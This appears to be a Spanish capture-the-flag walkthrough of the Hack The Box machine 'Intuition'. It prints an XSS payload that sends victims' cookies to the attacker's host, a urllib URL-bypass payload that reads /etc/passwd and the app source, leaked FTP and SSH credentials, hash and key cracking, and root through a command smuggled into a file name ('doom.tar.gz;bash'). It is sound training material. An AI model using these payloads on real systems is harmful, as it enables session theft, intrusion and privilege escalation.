Intuition

OS: Linux
Dificultad: Difícil
Puntos: 40

Nmap

nmap -v -p 22,80 -sV -sC -oN nmap.txt 10.10.11.15
Nmap scan report for 10.10.11.15
Host is up (0.070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_  256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://comprezzor.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

La pagina web nos muestra una funcion para subir archivos.

Subdomain enum

Utilizamos ffuf para enumerar subdomnios y encontramos lo siguiente.

ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.comprezzor.htb" -u http://comprezzor.htb -fw 6
auth                    [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 74ms]
dashboard               [Status: 302, Size: 251, Words: 18, Lines: 6, Duration: 76ms]
report                  [Status: 200, Size: 3166, Words: 1102, Lines: 109, Duration: 73ms]

Los agregamos a nuestro archivo hosts y posteriormente enumeramos que es lo que tienen. En el dominio auth nos muestra un panel de login y tambien de registro por lo tanto registramos un usuario.

Una vez autenticado podemos acceder al dominio report con un formulario.

XSS Steal Cookie

Probamos un payload para robar cookie con xss el cual funciona y obtenemos la una cookie.

<script>new Image().src="http://10.10.14.112/cookie.php?c="+document.cookie;</script>

┌──(root㉿kali)-[~/htb/Intuition]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.15 - - [02/May/2024 06:47:19] code 404, message File not found
10.10.11.15 - - [02/May/2024 06:47:19] "GET /cookie.php?c=user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4 HTTP/1.1" 404 -

Modificamos nuestra cookie y ahora podemos acceder a dashboard.

XSS Steal admin cookie

Despues de jugar con la aplicacion nos percatamos que si enviamos un nuevo bug report podemos ver que es el usuario adam. En el portal dashboard podemos establecer la prioridad del reporte a 1 esto significa que lo revisara el admin por lo tanto podemos injectar el mismo payload y cambiar la prioridad para obtener la cookie del admin.

  1. Generamos un nuevo report bug con el payload
<script>new Image().src="http://10.10.14.112/cookie.php?c="+document.cookie;</script>

  1. Modificamos la prioridad del report.
POST /change_priority?report_id=78&priority_level=1 HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Origin: http://dashboard.comprezzor.htb
Connection: close
Referer: http://dashboard.comprezzor.htb/report/5
Cookie: user_data=eyJ1c2VyX2lkIjogMiwgInVzZXJuYW1lIjogImFkYW0iLCAicm9sZSI6ICJ3ZWJkZXYifXw1OGY2ZjcyNTMzOWNlM2Y2OWQ4NTUyYTEwNjk2ZGRlYmI2OGIyYjU3ZDJlNTIzYzA4YmRlODY4ZDNhNzU2ZGI4
Upgrade-Insecure-Requests: 1
  1. Una vez modifica esperamos a que la abra el admin y obtenemos una nueva cookie.
10.10.11.15 - - [02/May/2024 07:03:22] code 404, message File not found
10.10.11.15 - - [02/May/2024 07:03:22] "GET /cookie.php?c=user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5 HTTP/1.1" 404 -
  1. Modificamos la cookie y ahora tenemos acceso a otras funciones.

Python-urllib 3.11 (CVE-2023–24329)

Entre las funciones que estan en la aplicacion web el mas interesante es Create PDF Report.

Utilizando nuestro servidor web identificamos que se usa python urllib 3.11.

┌──(root㉿kali)-[~/htb/Intuition]
└─# nc -lvnp 80    
listening on [any] 80 ...
connect to [10.10.14.112] from (UNKNOWN) [10.10.11.15] 35160
GET / HTTP/1.1
Accept-Encoding: identity
Host: 10.10.14.112
User-Agent: Python-urllib/3.11
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Connection: close

Investigando la version cuenta con un exploit publico CVE-2023–24329 que nos permite hacer bypass de la url y leer archivos locales solo agregando un espacio.

POST /create_pdf_report HTTP/1.1
Host: dashboard.comprezzor.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://dashboard.comprezzor.htb
Connection: close
Referer: http://dashboard.comprezzor.htb/create_pdf_report
Cookie: user_data=eyJ1c2VyX2lkIjogMSwgInVzZXJuYW1lIjogImFkbWluIiwgInJvbGUiOiAiYWRtaW4ifXwzNDgyMjMzM2Q0NDRhZTBlNDAyMmY2Y2M2NzlhYzlkMjZkMWQxZDY4MmM1OWM2MWNmYmVhMjlkNzc2ZDU4OWQ5
Upgrade-Insecure-Requests: 1

report_url= file:///etc/passwd

Read Code

Con los siguientes payload podemos obtener el codigo de la aplicacion web.

 file:///proc/self/cmdline
 file:///app/code/app.py
from flask import Flask, request, redirect 
from blueprints.index.index import main_bp 
from blueprints.report.report
import report_bp 
from blueprints.auth.auth import auth_bp 
from blueprints.dashboard.dashboard import dashboard_bp

app = Flask(__name__) 
app.secret_key = "7ASS7ADA8RF3FD7" 
app.config['SERVER_NAME'] = 'comprezzor.htb'
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024 # Limit file size to 5MB ALLOWED_EXTENSIONS = {'txt','pdf', 'docx'} 
# Add more allowed file extensions if needed app.register_blueprint(main_bp)

app.register_blueprint(report_bp, subdomain='report') 
app.register_blueprint(auth_bp, subdomain='auth')
app.register_blueprint(dashboard_bp, subdomain='dashboard') 

if __name__ == '__main__': 
    app.run(debug=False,host="0.0.0.0", port=80)

Despues de enumerar varios archivos llegamos al siguiente que contiene un usuario y password FTP.

 file:///app/code/blueprints/dashboard/dashboard.py
...
...
os.path.relpath(file_path, source_directory) 
zipf.write(file_path, arcname=arcname) 
try: 
    ftp = FTP('ftp.local') 
    ftp.login(user='ftp_admin', passwd='u3jai8y71s2') 
    ftp.cwd('/') 
    
    with open(backup_filename, 'rb') as file: 
        ftp.storbinary(f'STOR {backup_filename}', file) 
        ftp.quit() 
    
    os.remove(backup_filename) 
    flash('Backup and upload completed successfully!', 'success') 
except
...
...

FTP Enumeration

Con esas credenciales podemos enumerar archivos ftp atraves de la url.

 ftp://ftp_admin:u3jai8y71s2@ftp.local

Vemos varios archivos y los descargamos siguiendo el mismo flujo.

 ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
 ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key

Obtenemos una llave rsa y una passphrase para acceder por SSH.

Y27SH19HDIWD
┌──(root㉿kali)-[~/htb/Intuition]
└─# ssh -i id_rsa dev_acc@10.10.11.15
Enter passphrase for key 'id_rsa': 
Last login: Thu May  2 15:27:20 2024 from 10.10.14.112
dev_acc@intuition:~$ id
uid=1001(dev_acc) gid=1001(dev_acc) groups=1001(dev_acc)
dev_acc@intuition:~$ cat user.txt 
fac3ffe6cbdf7fbee4024f526a7ee3e2
dev_acc@intuition:~$

Lateral Movement

Enumeracion de puertos locales

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                 
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.21.0.1:21           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:4444          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:21            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:36231         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

Los usuarios lopez y adam pertencen al grupo sys-adm.

uid=1002(adam) gid=1002(adam) groups=1002(adam),1004(sys-adm)
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

Encontramos archivos sqlite que contiene hashes.

Found /var/www/app/blueprints/auth/users.db
Found /var/www/app/blueprints/report/reports.db
dev_acc@intuition:~$ strings /var/www/app/blueprints/auth/users.db
SQLite format 3
Ytablesqlite_sequencesqlite_sequence
CREATE TABLE sqlite_sequence(name,seq)
Etableusersusers
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT,
    username TEXT NOT NULL UNIQUE,
    password TEXT NOT NULL,
    role TEXT DEFAULT 'user'
indexsqlite_autoindex_users_1users
adamsha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43webdevh
adminsha256$nypGJ02XBnkIQK71$f0e11dc8ad21242b550cc8a3c27baaf1022b6522afaadbfa92bd612513e9b606admin
adam

Cracking hash

Podemos crackear el hash por medio de hashcat.

hashcat -m 30120 hash.txt /usr/share/wordlists/rockyou.txt
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 30120 (Python Werkzeug SHA256 (HMAC-SHA256 (key = $salt)))
Hash.Target......: sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc...89fc43
Time.Started.....: Thu May  2 12:19:03 2024 (6 secs)
Time.Estimated...: Thu May  2 12:19:09 2024 (0 secs)

FTP Access

Con las credenciales podemos acceder por FTP y encontramos los siguientes archivos.

ftp localhost
adam : adam gray

El archivo run-test.sh contiene la siguiente informacion.

!/bin/bash

# List playbooks
./runner1 list

# Run playbooks [Need authentication]
# ./runner run [playbook number] -a [auth code]
#./runner1 run 1 -a "UHI75GHI****"

# Install roles [Need authentication]
# ./runner install [role url] -a [auth code]
#./runner1 install http://role.host.tld/role.tar -a "UHI75GHI****"

El archivo runner1.c contiene informacion relevante para obtener los ultimos digitos de la key.

#define INVENTORY_FILE "/opt/playbooks/inventory.ini"
#define PLAYBOOK_LOCATION "/opt/playbooks/"
#define ANSIBLE_PLAYBOOK_BIN "/usr/bin/ansible-playbook"
#define ANSIBLE_GALAXY_BIN "/usr/bin/ansible-galaxy"
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"

Cracking key

Con el siguiente script podemos obtener los utlimos digitos.

import hashlib
import itertools
import string
 
# Known information
auth_key_prefix = "UHI75GHI"
known_md5_hash = "0feda17076d793c2ef2870d7427ad4ed"
 
# Function to check if the generated hash matches the known hash
def is_correct_auth_key(key, known_hash):
    # Calculate the MD5 hash of the key
    generated_hash = hashlib.md5(key.encode()).hexdigest()
    return generated_hash == known_hash
 
# Brute-forcing the remaining part of the auth key
charset = string.ascii_letters + string.digits
key_length = 4  
 
for guess in itertools.product(charset, repeat=key_length):
    # Generate the full key by appending the guess to the known prefix
    full_key = f"{auth_key_prefix}{''.join(guess)}"
    
    # Check if the generated key is correct
    if is_correct_auth_key(full_key, known_md5_hash):
        print(f"Found auth key: {full_key}")
        break
else:
    print("Auth key not found.")
┌──(root㉿kali)-[~/htb/Intuition]
└─# python3 get-key.py       
Found auth key: UHI75GHINKOP

Tambien podemos ver algunos archivos logs que es posible leer.

/var/log/journal/ebecc789f6824e8caa134b39574ba839/user-1001.journal
/var/log/journal/ebecc789f6824e8caa134b39574ba839/system.journal
/var/log/suricata/eve.json
/var/log/suricata/stats.log
/var/log/suricata/fast.log
/var/log/nginx/access.log

Despues de indagar mucho encontramos el password del usuario lopez en los logs.

dev_acc@intuition:~/tmp$ zgrep -i lopez /var/log/suricata/*
...
...
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:32.133372+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":1,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"USER","command_data":"lopez","completion_code":["331"],"reply":["Username ok, send password."],"reply_received":"yes"}}
/var/log/suricata/eve.json.7.gz:{"timestamp":"2023-09-28T17:44:48.188361+0000","flow_id":1218304978677234,"in_iface":"ens33","event_type":"ftp","src_ip":"192.168.227.229","src_port":45760,"dest_ip":"192.168.227.13","dest_port":21,"proto":"TCP","tx_id":2,"community_id":"1:hzLyTSoEJFiGcXoVyvk2lbJlaF0=","ftp":{"command":"PASS","command_data":"Lopezz1992%123","completion_code":["230"],"reply":["Login successful."],"reply_received":"yes"}}

Nos podemos conectar con las credenciales.

lopez : Lopezz1992%123
┌──(root㉿kali)-[~/htb/Intuition]
└─# ssh lopez@10.10.11.15            
lopez@10.10.11.15's password: 

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

lopez@intuition:~$ id
uid=1003(lopez) gid=1003(lopez) groups=1003(lopez),1004(sys-adm)

Privilege Escalation

Lopez tiene privilegios sudo.

lopez@intuition:~$ sudo -l
[sudo] password for lopez: 
Matching Defaults entries for lopez on intuition:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User lopez may run the following commands on intuition:
    (ALL : ALL) /opt/runner2/runner2

Despues de investigar cosas relacionadas con ansible podemos crear nuestro json para realizar ciertas acciones.

{
  "run": {
    "action": "list",
    "auth_code": "UHI75GHINKOP"
  }
}
lopez@intuition:~$ sudo /opt/runner2/runner2 test.json
1: apt_update.yml

Podemos obtener ejecucion de comando de la siguiente forma. Nos apoyamos del siguiente template y lo descargamos en la maquina. Una vez descargado lo renombramos de la siguiente forma.

lopez@intuition:~$ wget 10.10.14.112/doom.tar.gz
--2024-05-02 19:45:09--  http://10.10.14.112/doom.tar.gz
Connecting to 10.10.14.112:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15857 (15K) [application/gzip]
Saving to: ‘doom.tar.gz’

doom.tar.gz                      100%[========================================================>]  15.49K  --.-KB/s    in 0.07s   

2024-05-02 19:45:10 (220 KB/s) - ‘doom.tar.gz’ saved [15857/15857]

lopez@intuition:~$ mv doom.tar.gz doom.tar.gz\;bash
lopez@intuition:~$ ls                                                                                                             
'doom.tar.gz;bash'   test.json

Ahora modificamos nuestro archivo json.

{
  "run": {
        "action":"install",
        "role_file":"doom.tar.gz;bash"
        },
  "auth_code": "UHI75GHINKOP"
}

Ejecutamos el comando para escalar a root.

sudo /opt/runner2/runner2 test.json